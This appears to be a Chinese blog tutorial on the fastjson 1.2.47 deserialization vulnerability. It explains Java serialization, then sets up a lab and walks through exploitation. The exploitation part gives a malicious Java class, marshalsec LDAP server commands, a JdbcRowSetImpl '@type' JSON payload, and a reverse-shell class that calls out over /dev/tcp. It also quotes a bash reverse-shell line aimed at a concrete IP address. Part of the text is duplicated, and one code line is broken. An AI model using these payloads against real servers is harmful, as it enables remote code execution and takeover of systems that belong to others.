fastjson反序列化漏洞原理及利用

fastjson反序列化漏洞原理及利用

一、序列化/反序列化

1.什么是序列化和反序列化

1.1基本概念

(1)Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程;

(2)**序列化:**对象序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了Java对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。

(3)**反序列化:**客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。

(4)本质上讲,序列化就是把实体对象状态按照一定的格式写入到有序字节流,反序列化就是从有序字节流重建对象,恢复对象状态。

1.2为什么需要序列化与反序列化

我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。

那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的!如何做到呢?这就需要Java序列化与反序列化了!

换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。

当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。

总的来说可以归结为以下几点:

(1)永久性保存对象,保存对象的字节序列到本地文件或者数据库中;
(2)通过序列化以字节流的形式使对象在网络中进行传递和接收;
(3)通过序列化在进程间传递对象;

1.3序列化算法一般会按步骤做如下事情:

(1)将对象实例相关的类元数据输出。
(2)递归地输出类的超类描述直到不再有超类。
(3)类元数据完了以后,开始从最顶层的超类开始输出对象实例的实际数据值。
(4)从上至下递归输出实例的数据

2.Java如何实现序列化和反序列化

2.1JDK类库中序列化和反序列化API

(1)java.io.ObjectOutputStream:表示对象输出流;

它的writeObject(Object obj)方法可以对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中;

(2)java.io.ObjectInputStream:表示对象输入流;

它的readObject()方法源输入流中读取字节序列,再把它们反序列化成为一个对象,并将其返回;

2.2实现序列化的要求

只有实现了Serializable或Externalizable接口的类的对象才能被序列化,否则抛出异常!

2.3实现Java对象序列化与反序列化的方法

假定一个User类,它的对象需要序列化,可以有如下三种方法:

(1)若User类仅仅实现了Serializable接口,则可以按照以下方式进行序列化和反序列化

ObjectOutputStream采用默认的序列化方式,对User对象的非transient的实例变量进行序列化。
ObjcetInputStream采用默认的反序列化方式,对对User对象的非transient的实例变量进行反序列化。

(2)若User类仅仅实现了Serializable接口,并且还定义了readObject(ObjectInputStream in)和writeObject(ObjectOutputSteam out),则采用以下方式进行序列化与反序列化。

ObjectOutputStream调用User对象的writeObject(ObjectOutputStream out)的方法进行序列化。
ObjectInputStream会调用User对象的readObject(ObjectInputStream in)的方法进行反序列化。

(3)若User类实现了Externalnalizable接口,且User类必须实现readExternal(ObjectInput in)和writeExternal(ObjectOutput out)方法,则按照以下方式进行序列化与反序列化。

ObjectOutputStream调用User对象的writeExternal(ObjectOutput out))的方法进行序列化。
ObjectInputStream会调用User对象的readExternal(ObjectInput in)的方法进行反序列化。

2.4JDK类库中序列化的步骤

步骤一:创建一个对象输出流,它可以包装一个其它类型的目标输出流,如文件输出流:

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:\\object.out"));

步骤二:通过对象输出流的writeObject()方法写对象:

oos.writeObject(new User("xuliugen", "123456", "male"));

2.5JDK类库中反序列化的步骤

步骤一:创建一个对象输入流,它可以包装一个其它类型输入流,如文件输入流:

ObjectInputStream ois= new ObjectInputStream(new FileInputStream("object.out"));

步骤二:通过对象输出流的readObject()方法读取对象:

User user = (User) ois.readObject();

说明:为了正确读取数据,完成反序列化,必须保证向对象输出流写对象的顺序与从对象输入流中读对象的顺序一致。

2.6序列化和反序列化的示例

为了更好地理解Java序列化与反序列化,举一个简单的示例如下:

public class SerialDemo {
	public static void main(String[] args) throws 	IOException, ClassNotFoundException {
   	 	//序列化
   	 	FileOutputStream fos = new FileOutputStream("object.out");
    	ObjectOutputStream oos = new ObjectOutputStream(fos);
    	User user1 = new User("xuliugen", "123456", "male");
    	oos.writeObject(user1);
    	oos.flush();
    	oos.close();
		//反序列化
    	FileInputStream fis = new 	FileInputStream("object.out");
    	ObjectInputStream ois = new ObjectInputStream(fis);
    	User user2 = (User) ois.readObject();
    	System.out.println(user2.getUserName()+ " " + 
        user2.getPassword() + " " + user2.getSex());
    	//反序列化的输出结果为:xuliugen 123456 male
	}
}
public class User implements Serializable {
    private String userName;
    private String password;
    private String sex;
    //全参构造方法、get和set方法省略
}

object.out文件如下(使用UltraEdit打开):

fastjson反序列化漏洞原理及利用_第1张图片

注:上图中0000000h-000000c0h表示行号;0-f表示列;行后面的文字表示对这行16进制的解释;对上述字节码所表述的内容感兴趣的可以对照相关的资料,查阅一下每一个字符代表的含义,这里不在探讨!

类似于我们Java代码编译之后的.class文件,每一个字符都代表一定的含义。序列化和反序列化的过程就是生成和解析上述字符的过程!

序列化图示:

fastjson反序列化漏洞原理及利用_第2张图片

反序列化图示:

fastjson反序列化漏洞原理及利用_第3张图片

3.相关注意事项

1、序列化时,只对对象的状态进行保存,而不管对象的方法;

2、当一个父类实现序列化,子类自动实现序列化,不需要显式实现Serializable接口;

3、当一个对象的实例变量引用其他对象,序列化该对象时也把引用对象进行序列化;

4、并非所有的对象都可以序列化,至于为什么不可以,有很多原因了,比如:

安全方面的原因,比如一个对象拥有private,public等field,对于一个要传输的对象,比如写到文件,或者进行RMI传输等等,在序列化进行传输的过程中,这个对象的private等域是不受保护的;

资源分配方面的原因,比如socket,thread类,如果可以序列化,进行传输或者保存,也无法对他们进行重新的资源分配,而且,也是没有必要这样实现;

5、声明为static和transient类型的成员数据不能被序列化。因为static代表类的状态,transient代表对象的临时数据。

6、序列化运行时使用一个称为 serialVersionUID 的版本号与每个可序列化类相关联,该序列号在反序列化过程中用于验证序列化对象的发送者和接收者是否为该对象加载了与序列化兼容的类。为它赋予明确的值。显式地定义serialVersionUID有两种用途:

在某些场合,希望类的不同版本对序列化兼容,因此需要确保类的不同版本具有相同的serialVersionUID;

在某些场合,不希望类的不同版本对序列化兼容,因此需要确保类的不同版本具有不同的serialVersionUID。

7、Java有很多基础类已经实现了serializable接口,比如String,Vector等。但是也有一些没有实现serializable接口的;

8、如果一个对象的成员变量是一个对象,那么这个对象的数据成员也会被保存!这是能用序列化解决深拷贝的重要原因;

二、漏洞描述

fastjson反序列化漏洞原理及利用_第4张图片

首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型。

其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作。

例如SerializerFeature.WriteClassName是toJSONString设置的一个属性值,设置之后会多写入一个@type,代表的是被序列化的类名

fastjson反序列化漏洞原理及利用_第5张图片

,在序列化时,Fastjson会调用成员的get方法,如果是被private并且没有get方法的成员就不会被序列化,在反序列化时,会调用指定类的全部setter并且public修饰的成员全部赋值。问题主要出在@type处,设想一下,如果未对@type字段进行完全的安全性验证,那么攻击者可以传入危险类来执行其中的恶意代码

三、环境搭建及复现

1.资源:

unbutu&kali安装jdk:jdk8u181

链接: https://pan.baidu.com/s/1nI-JT93vjcA9–7fb0fhqw&shfl=shareset 提取码: sven

tomcat下载:

链接:https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz

Fastjson1.2.47:

链接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven

工具:marshalsec,需要用mvn打包一下,

github:https://github.com/mbechler/marshalsec

链接(已打包好): https://pan.baidu.com/s/1kT9vwhNDDdiJ3dL9BS3U4w&shfl=shareset 提取码: sven

2.环境搭建

2.1使用docker搭建tomcat

1、安装Docker

yum install docker

2、拉取官方镜像

docker pull tomcat

3、映射到我服务器8080端口

docker run --name tomcat -p 8080:8080 -d tomcat

4、访问

http://ip:8080/

5、将fastjson环境安装在tomcat上

这里我直接复制到tomcat的webapps目录下

docker cp fastjson1.2.47 tomcat:/usr/local/tomcat/webapps/

①将jdk1.8.0_181复制到tomcat的/usr/java目录下

②解压tar -xzvf

可使用docker exec -i -t tomcat /bin/bash命令查看docker中tomcat的目录

③访问http://ip:8080/fastjson1.2.47/

目标是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回

至此docker的fastjson反序列化漏洞环境搭建成功。

2.2本地搭建tomcat

1、下载一个tomcat9

https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz

2、将此压缩包复制到我的linux服务器上

解压

tar -zxvf apache-tomcat-9.0.27.tar.gz -C /

mv /apache-tomcat-9.0.27 /tomcat9

3、授予tomcat9这个文件夹777权限

chmod -R 777 /tomcat9

4、配置JDK版本及环境变量

export JAVA_HOME=/usr/java/jdk1.8.0_181

export JRE_HOME=/usr/java/jdk1.8.0_181/jre

export CLASS_PATH=.: J A V A H O M E / l i b / d t . j a r : JAVA_HOME/lib/dt.jar: JAVAHOME/lib/dt.jar:JAVA_HOME/lib/tools.jar:$JRE_HOME/lib

export PATH= P A T H : PATH: PATH:JAVA_HOME/bin:$JRE_HOME/bin

export CATALINA_HOME=/tomcat9

5、启动tomcat

进入tomcat9下的bin目录

./catalina.sh start

最后复制fastjson1.2.47到webapps文件夹下,环境即搭建成功。

3.漏洞利用

3.1编译exploit.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec("touch /tmp/qiqi);
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {

    public Exploit() {
        try{
            // 要执行的命令
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }

}

3.2 使用python搭建一个临时的web服务

python -m SimpleHTTPServer 1111

Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

3.3 服务器使用marshalsec开启LDAP服务监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999

Ps:使用marshalsec工具快捷的开启LDAP服务。借助LDAP服务将LDAP reference result 重定向到web服务器。

LDAP动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。

3.4 Exploit.class恶意类执行的命令是:

在tmp目录下创建名为qiqi的文件。

3.5 Burp发包

使用EXP:

{
	"name":{
 
    	"@type":"java.lang.Class",
 
    	"val":"com.sun.rowset.JdbcRowSetImpl"
 
	},
 
	"x":{
 
    	"@type":"com.sun.rowset.JdbcRowSetImpl",
 
    	"dataSourceName":"ldap://ip:9999/Exploit",
 
    	"autoCommit":true
 
	}
}

3.6 此时/tmp目录

出现了文件

3.7 GETSHELL

同上步骤,不过是用Shell.java文件生成恶意类反弹shell

import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell{
    public Shell() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

     	String line;
     	while((line = reader.readLine()) != null) {
         	System.out.println(line);
     	}

     	p.waitFor();
     	is.close();
     	reader.close();
     	p.destroy();
	}

	public static void main(String[] args) throws Exception {
	}

}

四、注意点

1、Docker pull下来的tomcat默认jdk版本是1.8.0_232,需要更改一下docker的jdk版本。(坑了我半天,docker外jdk是1.8.0_181,但是docker中tomcat的启动环境是1.8.0_232)

Docker中,在root用户下将JDK环境变量配置到了/etc/profile中,当时通过source /etc/profile命令使该文件生效,echo $JAVA_HOME时也没有问题,但是重启容器以后就又不生效了。

解决:在/root/.bashrc文件中添加一句source /etc/profile(或者将环境变量的配置放到该文件中)

2、在使用LADP服务反弹shell用的命令不能直接使用

“bash -i >& /dev/tcp/47.101.72.112/10001 0>&1”

3、jdk版本一定要注意!

启动服务之前用 java -version查看自己的jdk版本是否低于以下jdk版本。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6WRFY2gf-1659084626950)(C:\Users\ykksissocool\AppData\Roaming\Typora\typora-user-images\1634886920899.png)]

er的jdk版本。(坑了我半天,docker外jdk是1.8.0_181,但是docker中tomcat的启动环境是1.8.0_232)

Docker中,在root用户下将JDK环境变量配置到了/etc/profile中,当时通过source /etc/profile命令使该文件生效,echo $JAVA_HOME时也没有问题,但是重启容器以后就又不生效了。

解决:在/root/.bashrc文件中添加一句source /etc/profile(或者将环境变量的配置放到该文件中)

2、在使用LADP服务反弹shell用的命令不能直接使用

“bash -i >& /dev/tcp/47.101.72.112/10001 0>&1”

3、jdk版本一定要注意!

启动服务之前用 java -version查看自己的jdk版本是否低于以下jdk版本。
fastjson反序列化漏洞原理及利用_第6张图片

你可能感兴趣的:(web安全,安全,系统安全)